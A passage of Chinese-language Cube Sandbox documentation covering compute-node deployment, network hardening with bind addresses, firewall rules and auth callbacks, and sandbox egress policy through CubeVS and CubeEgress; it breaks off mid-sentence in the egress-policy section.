`CUBE_S3_ENDPOINT`，缺失时打印醒目的黄色警告并继续安装。节点可正常部署，但 **S3 卷插件不可用**，补齐后重装即可。 从控制节点取 `CUBE_S3_*` 回填值： 1. 在控制节点执行： ```bash grep '^CUBE_S3_' /usr/local/services/cubetoolbox/.one-click.env ``` 输出为空说明控制节点自身未配 S3。 2. 把输出逐行拷贝到计算节点 `.env`。 3. 重新执行 `sudo ./install-compute.sh`。 使用内置 MinIO 时，还需放行计算节点到控制面的 TCP 9000。 ::: 如果 CubeOps 使用非默认端口，也可以显式指定： ```bash ONE_CLICK_CONTROL_PLANE_CUBEOPS_ADDR=<控制节点IP>:3010 ``` 同时设置时，`ONE_CLICK_CONTROL_PLANE_CUBEOPS_ADDR` 优先级高于 `ONE_CLICK_CONTROL_PLANE_IP`。 ## 第三步：安装 ```bash sudo ./install-compute.sh ``` 计算节点安装脚本会： 1. 只安装内置 network runtime 的 `Cubelet`、`cube-shim`、`cube-image`、`cube-kernel-scf` 和运行时脚本 2. 只启动宿主机进程：`cubelet` 3. 自动把 `Cubelet` 的 `meta_server_endpoint` 指向控制面 `CubeOps` 4. 通过控制面的 `/internal/v1/node-agent` 接口向 CubeOps 注册节点并上报状态 ## 验证部署 ### 健康检查 ```bash sudo ./smoke.sh ``` 计算节点模式下，`quickcheck.sh` 会验证： * 本机 `Cubelet` 及其内置 network runtime 健康状态 * 控制面 `CubeOps` 可达 * 当前节点已出现在控制面的 `/internal/v1/nodes/{node_id}` 中 ### 从控制节点验证 在控制节点上确认计算节点已注册： ```bash curl http://127.0.0.1:3010/internal/v1/nodes ``` 返回结果中应包含计算节点的 IP 和健康状态。 ## 配置 CubeMaster 调度评分 多机部署时，应在控制节点的 CubeMaster 配置中设置 `scheduler.score`。如果未配置评分，CubeMaster 会先过滤可用节点，再按照过滤后的节点顺序进行选择，新的沙箱可能集中到第一个可用节点，直到资源过滤器把流量推到其他节点。 可以将下面这些调度字段合并到 `cubemaster.yaml` 中已有的 `scheduler` 段。请保留当前部署已有的 `filter`、超时和其他 scheduler 配置。 ```yaml scheduler: # 保留当前部署已有的 filter、超时和其他 scheduler 配置。 priority_select_num: 3 score: enable_scorers: - real_time_weighted_average resource_weights: mvm_num: 2 local_create_num: 3 quota_cpu_usage: 1 quota_mem_usage: 1 plugin_conf: real_time_weighted_average: weight: 1.0 enable_weight_factors: - mvm_num - local_create_num - quota_cpu_usage - quota_mem_usage ``` 对于多机集群，建议将 `scheduler.priority_select_num` 设置为大于 `1` 的值，让 CubeMaster 从评分最高的一组节点中随机选择。随项目提供的默认配置使用 `priority_select_num: 1`，这意味着评分只会决定下一个沙箱落到哪一个节点，而不会在多个高分节点之间分散放置。小规模集群可以从 `3` 开始，并根据节点数量继续调整。`scheduler.least_select_name` 默认值为 `random`，通常不需要显式设置。 完整的 CubeMaster 调度配置、Cubelet 节点上报、quota / label / 并发对调度的影响，以及新增计算节点后的 template redo 操作，请参阅[CubeMaster 调度器配置参考](./cubemaster-scheduler-config.md)。 更新 `cubemaster.yaml` 后，请按当前部署方式重启 CubeMaster，让调度器加载新的评分配置。 ## 从客户端连接集群 客户端应用需要 CubeAPI 控制面地址，以及一条通过 CubeProxy 访问沙箱服务的数据面链路。根据客户端类型选择最简单的方式： | 方式 | 适用场景 | 泛域名 DNS | 额外组件 | | --- | --- | :---: | :---: | | CubeSandbox SDK + `CUBE_PROXY_NODE_IP` | Python、Go 和 Node.js SDK | 不需要 | 不需要 | | CubeProxy 路径模式 | curl、后端服务、通用 HTTP 客户端 | 不需要 | 不需要 | | 泛域名 DNS | 生产环境、浏览器、SPA、官方 E2B SDK | 需要 | 不需要 | | E2B 开发 sidecar | 本地没有 DNS，但必须使用官方 E2B SDK | 不需要 | 需要 | ### CubeSandbox SDK：直连 CubeProxy CubeSandbox SDK 可以直接连接指定的 CubeProxy IP，同时保留用于沙箱路由的虚拟 `Host`，因此不需要配置泛域名 DNS： ```bash export CUBE_API_URL="http://<控制面IP>:3000" export CUBE_PROXY_NODE_IP="<CubeProxy节点IP>" export CUBE_PROXY_PORT_HTTP=80 export CUBE_TEMPLATE_ID="<模板ID或别名>" ``` 设置后即可正常使用 SDK。控制面请求访问 CubeAPI，数据面请求直接连接 CubeProxy。 ### 通用 HTTP 客户端：路径模式 任意 HTTP 客户端都可以通过 CubeProxy 路径前缀访问沙箱服务： ```text http://<CubeProxy地址>:<HTTP端口>/sandbox/<sandbox-id>/<容器端口>/<路径> ``` 例如： ```bash curl http://10.0.0.5/sandbox/abc123/49999/health ``` 路径模式不需要 DNS 或证书配置，并支持 WebSocket 升级。但它不适合使用 `/static/app.js` 等根绝对路径加载资源的 SPA，此类应用应使用泛域名 DNS。 ### 生产环境和浏览器访问：泛域名 DNS Host 模式使用 `<端口>-<sandbox-id>.<域名>` 格式的沙箱域名。需要配置指向 CubeProxy 的泛域名 A 记录： ```text *.cube.example.com → <CubeProxy公网或内网IP> ``` CubeAPI 必须使用相同的基础域名： ```bash export CUBE_API_SANDBOX_DOMAIN=cube.example.com ``` 一键部署内置 CoreDNS，可供本机解析 `*.cube.app`。它主要用于本地体验；生产环境和多机共享环境应使用托管 DNS 或内网 DNS 服务。`/etc/hosts` 不支持泛域名记录。 TLS 和 DNS 的完整配置请参阅 [HTTPS 证书与域名解析](./https-and-domain.md)。 ### 官方 E2B SDK 无泛域名 DNS：开发 sidecar 官方 E2B SDK 没有 CubeSandbox SDK 的 IP 直连选项。本地开发环境无法配置泛域名 DNS 时，可以使用 [E2B 开发 sidecar 示例](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/e2b-dev-sidecar)： ```bash cd examples/e2b-dev-sidecar pip install -r requirements.txt cp env.example .env ``` 连接远程集群时配置： ```bash E2B_API_URL="http://<控制面IP>:3000" CUBE_REMOTE_PROXY_BASE="https://<CubeProxy节点IP>:443" E2B_API_KEY="<API密钥>" CUBE_TEMPLATE_ID="<模板ID或别名>" ``` 然后运行： ```bash python demo.py ``` `CUBE_REMOTE_PROXY_BASE` 必须指向 CubeProxy，不能填写 sidecar 自己的监听地址。集群启用鉴权时，需要使用有效的 API Key。 ## 常用操作 ### 停止计算节点服务 ```bash sudo ./down.sh ``` 计算节点模式下，该命令只会停止 `cubelet`，不影响控制面或其他计算节点。 ### 重新安装 直接再次运行 `install-compute.sh` 即可。安装脚本会自动停止已有部署再进行安装。 ### 查看日志 | 组件 | 日志路径 | |------|----------| | Cubelet | `/data/log/Cubelet/` | | CubeShim | `/data/log/CubeShim/` | | Hypervisor (VMM) | `/data/log/CubeVmm/` | | 运行时 PID 文件 | `/var/run/cube-sandbox-one-click/` | | 进程标准输出/错误 | `/var/log/cube-sandbox-one-click/` | 控制节点的日志路径请参阅[本地构建部署 — 查看日志](./self-build-deploy.md#查看日志)。 ## 配置参考 计算节点使用相同的 `.env` 文件格式。以下变量与计算节点部署特别相关： | 变量 | 默认值 | 说明 | |------|--------|------| | `ONE_CLICK_DEPLOY_ROLE` | `control` | 计算节点必须设为 `compute` | | `ONE_CLICK_CONTROL_PLANE_IP` | 空 | 控制节点 IP，默认拼接为 `<ip>:3010` | | `ONE_CLICK_CONTROL_PLANE_CUBEOPS_ADDR` | 空 | 显式指定 CubeOps 地址，优先级高于 `ONE_CLICK_CONTROL_PLANE_IP` | | `CUBE_SANDBOX_NODE_IP` | `10.0.0.10` | **必须修改。** 当前节点主网卡 IP | | `CUBE_SANDBOX_NETWORK_CIDR` | `192.168.0.0/18`（取自 `config.toml`） | cubevs 本地网络 CIDR。需与控制节点一致。格式为 IPv4 CIDR（如 `10.100.0.0/18`），掩码范围 /16~/24。安装时自动检测宿主机冲突。 | | `CUBE_SANDBOX_NETWORK_CIDR_SKIP_CONFLICT_CHECK` | `0` | 设为 `1` 跳过冲突检测（不推荐）。 | | `ONE_CLICK_RUN_QUICKCHECK` | `1` | 安装后是否执行健康检查 | | `CUBE_S3_*` | 空 / 由控制面 MinIO 填入 | 可选但强烈建议。Volume 插件依赖 S3，缺失时仅告警、S3 卷插件不可用。从控制节点 `/usr/local/services/cubetoolbox/.one-click.env` 拷贝（取值方法见上文第二步）；`ENDPOINT` / `ACCESS_KEY_ID` / `SECRET_ACCESS_KEY` / `BUCKET` 无可用默认值。 | 完整配置参考（构建选项、数据库、代理等）请参阅[本地构建部署 — 配置参考](./self-build-deploy.md#配置参考)。 ## 故障排查 ### 计算节点无法连接 CubeOps 检查网络连通性： ```bash curl http://<控制节点IP>:3010/internal/v1/nodes ``` 如果失败，请检查： * 控制节点的防火墙规则（`3010` 端口需可访问） * `.env` 中 `ONE_CLICK_CONTROL_PLANE_IP` 或 `ONE_CLICK_CONTROL_PLANE_CUBEOPS_ADDR` 的值 ### 节点未出现在控制面 如果 `smoke.sh` 本地通过但控制面上看不到该节点： 1. 检查 Cubelet 日志：`/data/log/Cubelet/` 2. 确认 Cubelet 配置中的 `meta_server_endpoint` 指向正确的 CubeOps 地址 3. 确保 `CUBE_SANDBOX_NODE_IP` 设为可路由的 IP（不是 `127.0.0.1`） 通用故障排查（Docker、KVM、DNS 等）请参阅[本地构建部署 — 故障排查](./self-build-deploy.md#故障排查)。 --- --- url: https://cubesandbox.com/zh/guide/network-hardening.md --- # 网络加固 Cube Sandbox 的控制面与管理类服务为了便于本地快速体验，部分服务默认绑定在 `0.0.0.0` 上。当机器可被不可信网络访问时，这会暴露出攻击面：大多数管理端点 既无鉴权也无 TLS。本文说明默认的监听面，并介绍如何通过**绑定地址配置**与 **防火墙规则**进行收紧。 ::: warning 一键部署 / 本地构建部署面向开发与评估场景。在将部署放到可被公网访问的机器上 之前，请通读本文，并至少应用下文中的一种加固方案。 ::: ## 默认监听面 | 进程 | 默认绑定 | 端口 | 配置方式 | 说明 | |------|---------|------|----------|------| | CubeMaster | `0.0.0.0` | 8089 | `.env` 中的 `CUBEMASTER_HTTP_BIND` | 集群管理 HTTP API，**无鉴权** | | CubeAPI | `0.0.0.0` | 3000 | `.env` 中的 `CUBE_API_BIND` | 沙箱生命周期 API | | Cubelet gRPC | `0.0.0.0` | 9999 | `Cubelet/config/config.toml` 的 `tcp_address` | 节点管理 RPC，**无 TLS** | | Cubelet HTTP | `0.0.0.0` | 9998 | `Cubelet/config/config.toml` 的 `[http] address` | 调试 / metrics | | cube-proxy | `0.0.0.0` | 80 / 443 / 9090 | `CUBE_PROXY_HTTP_PORT` / `CUBE_PROXY_HTTPS_PORT` / `CUBE_PROXY_GRPC_PORT` | 设计上即面向公网 | | cube-egress admin | `127.0.0.1` | 9091 | `.env` 中的 `CUBE_EGRESS_ADMIN_PORT`（需与 Cubelet `cube_egress_admin_url` 保持一致） | 仅本机策略 API | | WebUI | `0.0.0.0` | 12088 | `.env` 中的 `WEB_UI_HOST_PORT`（仅端口） | 控制台 | | MySQL | `127.0.0.1` | 3306 | compose 模板中硬编码 | 已仅绑回环 | | Redis | `127.0.0.1` | 6379 | compose 模板中硬编码 | 已仅绑回环 | | MinIO API | 节点 IP | 9000 | `CUBE_SANDBOX_MINIO_API_BIND`（默认 `CUBE_SANDBOX_NODE_IP`） | 计算节点 Cubelet 需经 s3fs 挂 Volume，也要拉仓库 blob，不能只绑回环 | | MinIO 控制台 | `127.0.0.1` | 9001 | compose 模板中硬编码 | 已仅绑回环 | MySQL、Redis 以及 MinIO 控制台已由内置 compose 模板绑定到回环地址。MinIO S3 API 发布在节点 IP 上，供计算节点访问——请用防火墙将 TCP 9000 限制在内网。需要重点 关注的是表中默认为 `0.0.0.0` 的其余服务。 ## 各服务绑定地址配置 ### CubeMaster 在运行 `install.sh` 之前，于 `.env` 中设置： ```bash # 绑定到内网网卡（多机部署安全）： CUBEMASTER_HTTP_BIND=10.0.0.11 # 或仅绑回环（单机一体化、无 compute 节点）： CUBEMASTER_HTTP_BIND=127.0.0.1 ``` ::: warning 如果你有 compute 节点或使用 host 网络模式的 cube-proxy，**请勿**将 `CUBEMASTER_HTTP_BIND` 设为 `127.0.0.1`——它们需要通过节点的外网/内网 IP 访问 CubeMaster，绑回环会导致它们断联。 ::: ### CubeAPI 在 `.env` 中设置，取值为 `<地址>:<端口>`： ```bash # 绑定到内网网卡： CUBE_API_BIND=10.0.0.11:3000 ``` 修改 `CUBE_API_BIND` 时，需同步更新 `CUBE_API_HEALTH_ADDR`： ```bash CUBE_API_HEALTH_ADDR=10.0.0.11:3000 ``` ::: warning WebUI 容器通过 `host.docker.internal` 访问 CubeAPI。将 CubeAPI 绑定到 `127.0.0.1` 会导致桥接模式 Docker 下的 WebUI 不可用。请改用内网 IP 绑定或 防火墙规则。 ::: ### Cubelet（gRPC + HTTP） Cubelet 从 `config/config.toml` 读取监听地址。安装完成后该文件位于 `<PKG_ROOT>/Cubelet/config/config.toml`。编辑： ```toml [http] # 默认 ":9998" 即 0.0.0.0:9998 address = "10.0.0.11:9998" [grpc] # 默认 ":9999" 即 0.0.0.0:9999 tcp_address = "10.0.0.11:9999" ``` ::: warning 多机部署中，控制节点通过 `tcp_address` 连接每个 compute 节点的 Cubelet。如果 绑定到内网 IP，请确保控制节点能够路由到该地址。绑定到 `127.0.0.1` **会破坏**多机通信。 ::: ### WebUI WebUI 的 docker-compose 模板以 `<WEB_UI_HOST_PORT>:80` 形式发布端口，该变量目前 只接受端口号。如需限制访问，请使用防火墙规则： ```bash sudo iptables -A INPUT -p tcp --dport 12088 -s 10.0.0.0/24 -j ACCEPT sudo iptables -A INPUT -p tcp --dport 12088 -j DROP ``` ### cube-proxy（HTTP/HTTPS） cube-proxy 使用 host 网络模式，通常是沙箱流量的公网入口。除非你在其前面再放一层 专用反向代理，否则保持 `0.0.0.0`： ```bash CUBE_PROXY_HTTP_PORT=80 CUBE_PROXY_HTTPS_PORT=443 ``` 若需限制来源 IP，请使用防火墙规则。 ### MySQL / Redis 内置容器已通过 compose 模板绑定到 `127.0.0.1`，无需额外配置。若使用外部 MySQL/Redis（`CUBE_EXTERNAL_MYSQL_HOST`），请在网络层做好访问控制。 ### MinIO MinIO 控制台绑定 `127.0.0.1:9001`，仅本机可访问。S3 API 发布在 `CUBE_SANDBOX_MINIO_API_BIND`（默认 `CUBE_SANDBOX_NODE_IP`，端口 9000）——计算节点 的 Cubelet 需要经 s3fs 挂 Volume，**也要用预签名 GET 拉组件仓库 blob**。绑到 `127.0.0.1` 会让 S3 卷和组件下载一起挂掉，沙箱创建失败。请用防火墙将 TCP 9000 限制在内网。若使用外部 S3 后端，设置 `CUBE_SANDBOX_MINIO_ENABLED=0` 即可不启动 本地 MinIO。 ## 加固方案 根据你的环境，选择以下一种或两种方案。 ### 方案 A：绑定到内网网卡 若机器同时拥有公网与内网网卡，将管理类服务绑定到**内网 IP**，使其仅内网可达， 公网接口不暴露： ```bash # .env CUBEMASTER_HTTP_BIND=10.0.0.11 CUBE_API_BIND=10.0.0.11:3000 CUBE_API_HEALTH_ADDR=10.0.0.11:3000 ``` ```toml # Cubelet/config/config.toml [http] address = "10.0.0.11:9998" [grpc] tcp_address = "10.0.0.11:9999" ``` 这样既保持多机通信正常（compute 节点经内网连接），又避免公网访问。 对于**单机一体化、无 compute 节点**的场景，可以绑定到 `127.0.0.1` 实现最大限度 收紧（注意上文各服务的相关限制）。 ### 方案 B：防火墙源 IP 白名单 保持默认的 `0.0.0.0` 绑定，但通过防火墙规则只放通**可信来源 IP**（你的 compute 节点和管理机）。 使用 `iptables`： ```bash # CubeMaster 只放通 compute 节点 + 管理机 sudo iptables -A INPUT -p tcp --dport 8089 -s 10.0.0.12 -j ACCEPT # compute-1 sudo iptables -A INPUT -p tcp --dport 8089 -s 10.0.0.13 -j ACCEPT # compute-2 sudo iptables -A INPUT -p tcp --dport 8089 -s 192.168.1.100 -j ACCEPT # 管理机 sudo iptables -A INPUT -p tcp --dport 8089 -j DROP # 拒绝其余 # 对 9999、3000、12088 按需重复同样的规则 ``` 使用 `ufw`： ```bash sudo ufw default deny incoming sudo ufw allow from 10.0.0.0/24 to any port 8089 proto tcp # CubeMaster sudo ufw allow from 10.0.0.0/24 to any port 9999 proto tcp # Cubelet sudo ufw allow from 10.0.0.0/24 to any port 3000 proto tcp # CubeAPI sudo ufw allow from 10.0.0.0/24 to any port 12088 proto tcp # WebUI sudo ufw allow 22/tcp # SSH sudo ufw allow 80/tcp # cube-proxy（如需公网） sudo ufw allow 443/tcp # cube-proxy TLS sudo ufw allow 9090/tcp # cube-proxy 明文 gRPC sudo ufw enable ``` ### 两者结合（推荐） 为实现纵深防御，**同时绑定内网 IP 并设置防火墙规则**。即使某一层配置失误，另一层 仍能提供保护。 ## 多机端口可达性要求 部署 compute 节点时，以下连通性必须保持开放。请确保你的绑定地址与防火墙规则 **不会**阻断这些路径： | 方向 | 端口 | 服务 | 用途 | |------|------|------|------| | Compute → 控制节点 | 8089/tcp | CubeMaster | 沙箱元数据、节点注册 | | 控制节点 → Compute | 9999/tcp | Cubelet gRPC | 沙箱生命周期操作 | ## 默认凭据 `env.example` 中的以下取值均为**示例值**——任何超出本地评估范围的部署都必须修改： | 变量 | 风险 | |------|------| | `CUBE_SANDBOX_MYSQL_ROOT_PASSWORD` | 数据库完全访问权限 | | `CUBE_SANDBOX_MYSQL_PASSWORD` | 应用数据库访问权限 | | `CUBE_SANDBOX_REDIS_PASSWORD` | 缓存 / 会话访问权限 | | `E2B_API_KEY`（默认 `e2b_000000`） | API 鉴权 | | `DATABASE_URL` | 内含 MySQL 用户 / 密码 | ## 自定义鉴权（Auth Callback） CubeAPI 默认**对所有请求放行、不做任何凭证校验**。对于任何超出本地评估范围的部署， 都应通过 **Auth Callback** 机制将鉴权决策委托给你自己的鉴权服务。启用后，除 `GET /health` 外的所有 API 请求都必须携带凭证，CubeAPI 将其转发到你的回调服务 进行放行/拒绝判定。 ### 启用方式 在 `.env` 中设置回调地址，或通过 CLI 参数传入（CLI 参数优先级高于环境变量）： ```bash # .env AUTH_CALLBACK_URL=https://your-auth-service/verify # 或 CLI 参数 ./cube-api --auth-callback-url https://your-auth-service/verify ``` 未设置 `AUTH_CALLBACK_URL` 时（默认），所有请求无需凭证即可通过。 ### 工作原理 ``` 客户端 ──→ CubeAPI │ ├─ 提取凭证（Authorization: Bearer / X-API-Key） ├─ 记录请求路径 + HTTP 方法 │ └─ POST → AUTH_CALLBACK_URL │ 200 ─────┤──→ 放行请求 非 200 ─────┘──→ 401 Unauthorized ``` CubeAPI 向回调地址转发的 header： | Header | 说明 | |--------|------| | `Authorization` | `Bearer <token>` —— 客户端使用 Bearer 鉴权时透传 | | `X-API-Key` | `<key>` —— 客户端使用 API Key 鉴权时透传 | | `X-Request-Path` | 原始请求路径，如 `/templates/my-tmpl` | | `X-Request-Method` | HTTP 方法，如 `GET`、`DELETE`、`PATCH` | `Authorization` 与 `X-API-Key` 互斥——回调会收到客户端实际发送的那一个（Bearer 优先）。若两者都未携带，CubeAPI 直接返回 `401`，不会调用你的服务。 ::: warning 必须同时校验路径和方法 同一路径上挂载了多个 HTTP 方法——如 `/templates/:id` 同时处理 GET（读取）、 POST（重建）、DELETE（删除）和 PATCH（更新）。仅按路径白名单授权无法阻止只读 凭证发起删除操作。 请在回调中**同时校验** `X-Request-Path` 和 `X-Request-Method`。 ::: ::: warning 回调服务可用性 回调地址不可达时，CubeAPI 采取"失败即拒绝"策略（请求被拒绝）。请保证鉴权服务 具备足够的可用性并保持低延迟，因为每个 API 请求都会等待它返回。 ::: ### SDK 侧配置 E2B SDK 会自动将 `E2B_API_KEY` 以 `Authorization: Bearer <key>` 的形式附加到请求中： ```bash export E2B_API_KEY=your-actual-api-key ``` 非 SDK 客户端直接发送 `X-API-Key: <key>` 即可。 ::: tip 完整指南 如需回调服务的完整实现示例（Python/FastAPI）和错误响应参考，请查阅 [鉴权配置](/zh/guide/authentication)。 ::: ## TLS * CubeMaster 与 CubeAPI 不做 TLS 终止。如需对外 TLS，请将其置于 cube-proxy 或 独立反向代理之后。 * Cubelet gRPC 为明文传输；请依靠网络层隔离（绑定地址或防火墙）加以保护。 * cube-proxy 默认通过 `mkcert` 生成的证书做 TLS 终止；面向公网部署时请替换为 生产环境证书。 ## 相关文档 * [网络策略](/zh/guide/network-policy) —— 沙箱出站 CIDR 放通/拒绝。 * [安全代理](/zh/guide/security-proxy) —— 对沙箱出站 HTTP/HTTPS 的 L7 规则。 * [限制公开访问](/zh/guide/restrict-public-access) —— 单沙箱入站令牌。 * [多机集群部署](/zh/guide/multi-node-deploy) —— 添加 compute 节点。 --- --- url: https://cubesandbox.com/zh/guide/network-policy.md --- # 出网网络策略 Cube Sandbox 的出网控制不是单一开关，而是由 **API 校验、模板合并、Cubelet 内置 network runtime 下发、CubeVS eBPF 数据面、CubeEgress L7 代理** 共同完成的一条链路。理解这条链路后，配置 `allow_out`、`deny_out` 和 `rules` 时会更容易判断：某个包会被直接转发、被拒绝、被 DNS 学习忽略，还是进入 HTTP/HTTPS 代理。 本文重点说明： * 用户在 SDK / API 中如何配置出网策略。 * `allow_out`、`deny_out`、`rules` 如何被合并和下发。 * CubeVS 在 `from_cube` 方向逐步如何判断、转发、SNAT 或拒绝。 * DNS 域名 allow-list 如何查询、匹配、学习 A 记录。 * 哪些流量会进入 CubeEgress，哪些不会。 * 常见场景配置示例和排障方法。 请求级的 L7 行为，例如完整的 HTTP/HTTPS 规则匹配、审计日志、header 注入、TLS CA 等，请继续参考 [安全代理](./security-proxy.md)。本文只解释“网络层如何把该进代理的流量送进代理”。 ## 总体架构 出网流量从沙箱发出后，大致经过下面几层： ```mermaid flowchart LR A[Sandbox process] --> B[TAP device] B --> C[CubeVS from_cube] C -->|direct L3/L4 egress| D[SNAT + host NIC] C -->|L7_REQUIRED TCP 80/443| E[cube-dev] E --> F[Host TPROXY] F --> G[CubeEgress] G --> H[External service] D --> H ``` 各组件职责如下： | 组件 | 主要职责 | | --- | --- | | CubeAPI | 接收 SDK/API 请求，映射网络配置，并转成 CubeMaster 请求。 | | CubeMaster | 将模板里的网络配置和本次创建请求里的网络配置合并，然后调度到 Cubelet 内置 network runtime。 | | Cubelet 内置 network runtime | 把 `CubeNetworkConfig` 转成 CubeVS 可理解的 `MVMOptions`；从 L7 `rules` 中抽取网络可达目标；注册或更新 TAP 的 eBPF map。 | | CubeVS | 运行在宿主机 eBPF 数据面。负责 per-sandbox L3/L4 allow/deny、配置域名的 DNS A 记录学习、session/NAT、TCP RST 拒绝，以及是否把流量送到 L7 代理。 | | CubeEgress | 透明 HTTP/HTTPS 代理。只处理被 CubeVS 标记为需要 L7 检查的 TCP/80、TCP/443 流量，执行完整 `rules`。 | 一个关键点是：**出站策略的主动判断发生在沙箱流量进入 TAP 后的 `from_cube` 方向**。宿主机网卡上的 `from_world` 方向主要处理已有会话的回包反向 NAT、端口映射流量，以及 DNS 响应学习；它不是出站 allow/deny 的主判断入口。 ## 用户可配置字段 创建沙箱时，以下字段共同决定出网行为： | 字段 | 配置位置 | 生效层 | 含义 | | --- | --- | --- | --- | | `allow_internet_access` | `Sandbox.create(allow_internet_access=...)` | CubeVS | 是否默认允许公网出网。默认 `true`。为 `false` 时，CubeVS 会安装 `0.0.0.0/0` 的 deny-all 规则，然后依靠显式 allow 放行。 | | `allow_out` | `network["allow_out"]` | CubeVS | 显式允许的 IPv4、CIDR 或 DNS 域名。IP/CIDR 写入 `allow_out_v2`；域名写入 `dns_allow`，通过 DNS 查询和响应学习变成临时 IP allow。 | | `deny_out` | `network["deny_out"]` | CubeVS | 显式拒绝的 IPv4 或 CIDR。这里不接受域名。 | | `rules` | `network["rules"]` | CubeVS + CubeEgress | HTTP/HTTPS L7 规则。CubeVS 只抽取其中的 `match.sni` / `match.host` 作为网络可达目标并打上 L7 标记；CubeEgress 才会执行完整 match/action。 | CubeVS 的基础 IP 策略优先级是： 1. **先查 `allow_out_v2`**：命中则允许；如果条目带 `L7_REQUIRED` 标记，后续 TCP/80、TCP/443 还会被送入 CubeEgress。 2. **再查 `deny_out`**：命中则拒绝。TCP 会尽量返回 RST，非 TCP 直接 drop。 3. **都不命中时默认允许**：除非 `allow_internet_access=false` 已经通过 `deny_out` 安装了 `0.0.0.0/0`。 也就是说，策略优先级是：**allow > deny > default allow**。 ::: warning 内置内部网段保护 当 `allow_internet_access` 不是 `false` 时，CubeVS 会默认把沙箱私有网段和宿主机内部网段加入 `deny_out`，包括 `10.0.0.0/8`、`127.0.0.0/8`、`169.254.0.0/16`、`172.16.0.0/12`、`192.168.0.0/16`。这样可以避免工作负载借公共出网策略访问 Cube 内部基础设施。 当 `allow_internet_access=false` 时，后端安装的是 `0.0.0.0/0` 的 deny-all；显式 `allow_out` 和 L7 目标仍然可以优先放行。 ::: ## 数量上限 在修改沙箱 eBPF map 之前，CubeVS 会统计由 `allow_out`、`deny_out` 和从 `rules` 抽取出的网络目标生成的最终唯一 map key。超限错误会经 Cubelet、CubeMaster 和 CubeAPI 逐层返回给创建沙箱的调用方。 | 最终 map 计数 | 上限 | | --- | --- | | `network.allow_out_v2`：来自 `allow_out` 和 `rules[].match.host/sni` 的唯一 IP/CIDR allow key | `8192` 条 | | `network.deny_out`：最终唯一 deny key；启用内置内部网段时也计入其中 | `8192` 条 | | `network.dns_allow`：来自 `allow_out` 和 `rules[].match.host/sni` 的唯一域名 key | `1024` 条 | DNS inner trie 总容量是 `1024` 条域名规则。DNS policy mode 单独存放在 `ifindex_to_mvmmeta` 中，因此 `dns_allow` 不再为模式 marker 保留条目。 等价目标按最终 map key 去重。例如 `198.51.100.1` 和 `198.51.100.1/32` 只算一个 IP key；域名 key 会转为小写并忽略尾部的 `.`。 超限错误会包含最终 map 计数器、实际数量和最大值： ```text network.allow_out_v2 exceeds maximum entries: got 8193, max 8192 network.deny_out exceeds maximum entries: got 8193, max 8192 network.dns_allow exceeds maximum entries: got 1025, max 1024 ``` ## 配置语法 ### `allow_out` `allow_out` 用来表达 L3/L4 网络可达性，支持： * IPv4 地址，例如 `1.1.1.1`，内部按 `/32` 处理。 * IPv4 CIDR，例如 `203.0.113.0/24`。 * 普通 DNS 域名，例如 `api.example.com`。 * 前缀 `*.` 通配域名，例如 `*.example.com`。 通配域名只匹配子域，不匹配 apex 域名： | 配置 | 匹配 | 不匹配 | | --- | --- | --- | | `*.example.com` | `api.example.com`、`a.b.example.com` | `example.com` | | `example.com` | `example.com` | `api.example.com` | 域名会被转换成小写并去掉尾部的 `.`。只支持合法 DNS 域名；类似 `999.999.999.999` 这种 dotted-decimal 但不是合法 IPv4 的值会被拒绝或忽略。 当 `allow_out` 包含 DNS 域名时，请求必须同时建立 deny-all 兜底。可以二选一： * 设置 `allow_internet_access=false`，CubeVS 会自动把 `0.0.0.0/0` 写入 `deny_out`。 * 或者显式在 `deny_out` 中包含 `0.0.0.0/0`。 这是因为域名 `allow_out` 需要先通过 DNS A 响应学习成临时 IP allow 条目。如果没有 deny-all 兜底，未学习到的目的 IP 仍会被默认放行，域名 allow-list 就会产生误导。 ### `deny_out` `deny_out` 只支持 IPv4 或 IPv4 CIDR，例如： ```python network={ "deny_out": [ "169.254.169.254/32", "10.0.0.0/8", ], } ``` `deny_out` 不支持域名。原因是拒绝域名需要处理 DNS 解析、多 A 记录、TTL、CNAME、缓存污染等问题，而当前拒绝逻辑是纯 IP/CIDR LPM 匹配。 在 `allow_internet_access=false` 的严格模式下，`0.0.0.0/0` 已经作为兜底拒绝安装到 `deny_out`。这时额外配置更窄的 `deny_out` 通常只是表达意图，不会比 deny-all 更严格；真正需要配置的是要放行的 `allow_out` 或带 `host` / `sni` 的 L7 `rules`。 ### `rules` `rules` 是 L7 HTTP/HTTPS 规则，完整规则由 CubeEgress 执行。每条规则通常包含： * `name`：规则名，用于审计和模板合并。 * `match.scheme`：`http` 或 `https`。 * `match.sni`：TLS SNI。支持普通域名和 `*.` 通配域名。 * `match.host`：HTTP Host。支持域名、`host:port`、IPv4、IPv4 CIDR 和 `*.` 通配域名。 * `match.method`：HTTP 方法列表，方法之间是 OR。 * `match.path`：默认精确匹配；尾部 `*` 表示前缀匹配，例如 `/v1/*`。 * `action.allow`：`true` 放行，`false` 拒绝。 * `action.audit`：审计级别，例如 `metadata`、`full`、`none`。 * `action.inject`：可选 header 注入，仅在 allow 且 HTTPS 条件满足时生效。 多个字段之间是 AND 关系。例如同时设置 `scheme=https`、`sni=api.example.com`、`method=["POST"]`、`path=/v1/*`，表示这些条件都满足才匹配。 ::: tip 受限出网场景下，L7 规则要写 `host` 或 `sni` CubeVS 只会从 `rules[].match.sni` 和 `rules[].match.host` 抽取网络可达目标。`method`、`path`、`scheme` 只能在 CubeEgress 里判断，无法告诉 CubeVS 目标 IP 应该被放行或送入代理。 因此，当 `allow_internet_access=false` 时，每条需要真正访问外部 HTTP/HTTPS 服务的 L7 规则都应该包含 `host` 或 `sni`。只写 `method` 和 `path` 的规则可能永远到不了 CubeEgress，因为网络层不知道该允许哪个目的 IP。 ::: ## 控制面合并与下发流程 从用户请求到 eBPF map，大致流程如下： ```mermaid flowchart TD A[SDK/API request] --> B[CubeAPI map request] B --> C[CubeMaster request] C --> D[Merge template CubeNetworkConfig] D --> E[Cubelet NetworkRuntime EnsureNetwork] E --> F[Translate CubeNetworkConfig] F --> G[Cubelet runtime cubeVSTapRegistration] G --> H[Extract L7 allow targets from rules] H --> I[CubeVS AddTAPDevice / UpsertTAPDevice] I --> J[Validate final unique map keys] J --> K[allow_out_v2 / deny_out / dns_allow maps] E --> L[CubeEgress receives full rules] ``` ### 1. CubeAPI 映射和转发 CubeAPI 接收用户的 `SandboxNetworkConfig`，正确配置方式如下： ```python network={ "allow_out": ["api.example.com"], "deny_out": ["203.0.113.0/24"], "rules": [...], } ``` CubeAPI 会把请求映射成 CubeMaster 的 `CubeNetworkConfig`，并转发 `allow_out`、`deny_out` 和完整的 